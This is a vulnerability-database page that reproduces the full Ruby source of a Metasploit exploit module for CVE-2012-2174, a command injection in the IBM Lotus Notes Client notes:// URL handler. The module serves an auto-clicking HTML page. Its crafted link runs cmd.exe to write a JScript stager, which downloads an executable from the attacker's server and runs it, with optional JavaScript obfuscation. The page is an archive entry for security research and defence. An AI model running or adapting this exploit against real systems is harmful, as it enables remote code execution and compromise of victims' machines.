Lucene search
K

IBM Lotus Notes Client URL Handler Command Injection

🗓️ 25 Dec 2012 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

IBM Lotus Notes Client URL Handler Command Injection. Exploits command injection vulnerability in Lotus Notes Client <= 8.5.3. Abuses notes:// URL to execute arbitrary commands

Related
Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; &quot;IBM Lotus Notes Client URL Handler Command Injection&quot;,
      'Description'    =&gt; %q{
          This modules exploits a command injection vulnerability in the URL handler for
        for the IBM Lotus Notes Client &lt;= 8.5.3. The registered handler can be abused with
        an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
        arguments. This module has been tested successfully on Windows XP SP3 with IE8,
        Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Moritz Jodeit', # Vulnerability discovery
          'Sean de Regge', # Vulnerability analysis
          'juan vazquez' # Metasploit
        ],
      'References'     =&gt;
        [
          [ 'CVE', '2012-2174' ],
          [ 'OSVDB', '83063' ],
          [ 'BID', '54070' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ],
          [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
          [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
        ],
      'Payload'        =&gt;
        {
          'Space'           =&gt; 2048,
          'StackAdjustment' =&gt; -3500
        },
      'DefaultOptions'  =&gt;
        {
          'EXITFUNC'         =&gt; &quot;none&quot;,
          'InitialAutoRunScript' =&gt; 'migrate -k -f'
        },
      'Platform'       =&gt; 'win',
      'Targets'        =&gt;
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; &quot;Jun 18 2012&quot;,
      'DefaultTarget'  =&gt; 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
  end

  def exploit
    @exe_name = rand_text_alpha(2) + &quot;.exe&quot;
    @stage_name = rand_text_alpha(2) + &quot;.js&quot;
    super
  end

  def on_new_session(session)
    if session.type == &quot;meterpreter&quot;
      session.core.use(&quot;stdapi&quot;) unless session.ext.aliases.include?(&quot;stdapi&quot;)
    end

    @dropped_files.delete_if do |file|
      win_file = file.gsub(&quot;/&quot;, &quot;\\\\&quot;)
      if session.type == &quot;meterpreter&quot;
        begin
          wintemp = session.fs.file.expand_path(&quot;%TEMP%&quot;)
          win_file = &quot;#{wintemp}\\#{win_file}&quot;
          # Meterpreter should do this automatically as part of
          # fs.file.rm().  Until that has been implemented, remove the
          # read-only flag with a command.
          session.shell_command_token(%Q|attrib.exe -r &quot;#{win_file}&quot;|)
          session.fs.file.rm(win_file)
          print_good(&quot;Deleted #{file}&quot;)
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error(&quot;Failed to delete #{win_file}&quot;)
          false
        end

      end
    end

  end

  def on_request_uri(cli, request)

    if request.uri =~ /\.exe$/
      return if ((p=regenerate_payload(cli))==nil)
      register_file_for_cleanup(&quot;#{@stage_name}&quot;) unless @dropped_files and @dropped_files.include?(&quot;#{@stage_name}&quot;)
      register_file_for_cleanup(&quot;#{@exe_name}&quot;) unless @dropped_files and @dropped_files.include?(&quot;#{@exe_name}&quot;)
      data = generate_payload_exe({:code=&gt;p.encoded})
      print_status(&quot;Sending payload&quot;)
      send_response(cli, data, {'Content-Type'=&gt;'application/octet-stream'})
      return
    end

    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    if datastore['SSL']
      schema = &quot;https&quot;
    else
      schema = &quot;http&quot;
    end
    uri = &quot;#{schema}://#{my_host}&quot;
    uri &lt;&lt; &quot;:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe&quot;

    script = &quot;var w=new ActiveXObject('wscript.shell');&quot;
    script &lt;&lt; &quot;w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');&quot;
    script &lt;&lt; &quot;var x=new ActiveXObject('Microsoft.XMLHTTP');&quot;
    script &lt;&lt; &quot;x.open('GET','#{uri}', false);&quot;
    script &lt;&lt; &quot;x.send();&quot;
    script &lt;&lt; &quot;var s=new ActiveXObject('ADODB.Stream');&quot;
    script &lt;&lt; &quot;s.Mode=3;&quot;
    script &lt;&lt; &quot;s.Type=1;&quot;
    script &lt;&lt; &quot;s.Open();&quot;
    script &lt;&lt; &quot;s.Write(x.responseBody);&quot;
    script &lt;&lt; &quot;s.SaveToFile('#{@exe_name}',2);&quot;
    script &lt;&lt; &quot;w.Run('#{@exe_name}');&quot;

    vmargs = &quot;/q /s /c echo #{script} &gt; %TEMP%\\\\#{@stage_name}&amp; start cscript %TEMP%\\\\#{@stage_name}&amp; REM&quot;

    link_id = rand_text_alpha(5 + rand(5))

    js_click_link = %Q|
    function clickLink(link) {
      var cancelled = false;

      if (document.createEvent) {
        var event = document.createEvent(&quot;MouseEvents&quot;);
        event.initMouseEvent(&quot;click&quot;, true, true, window,
          0, 0, 0, 0, 0,
          false, false, false, false,
          0, null);
        cancelled = !link.dispatchEvent(event);
      }
      else if (link.fireEvent) {
        cancelled = !link.fireEvent(&quot;onclick&quot;);
      }

      if (!cancelled) {
        window.location = link.href;
      }
    }
    |

    if datastore['OBFUSCATE']
      js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
      js_click_link.obfuscate
      js_click_link_fn = js_click_link.sym('clickLink')
    else
      js_click_link_fn = 'clickLink'
    end


    html = &lt;&lt;-EOS
    &lt;html&gt;
    &lt;head&gt;
    &lt;script&gt;
    #{js_click_link}
    &lt;/script&gt;
    &lt;/head&gt;
    &lt;body onload=&quot;#{js_click_link_fn}(document.getElementById('#{link_id}'));&quot;&gt;
    &lt;a id=&quot;#{link_id}&quot; href=&quot;notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}&quot;&gt;&lt;/a&gt;
    &lt;/body&gt;
    &lt;/html&gt;
    EOS

    print_status(&quot;Sending html&quot;)
    send_response(cli, html, {'Content-Type'=&gt;'text/html'})

  end

end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation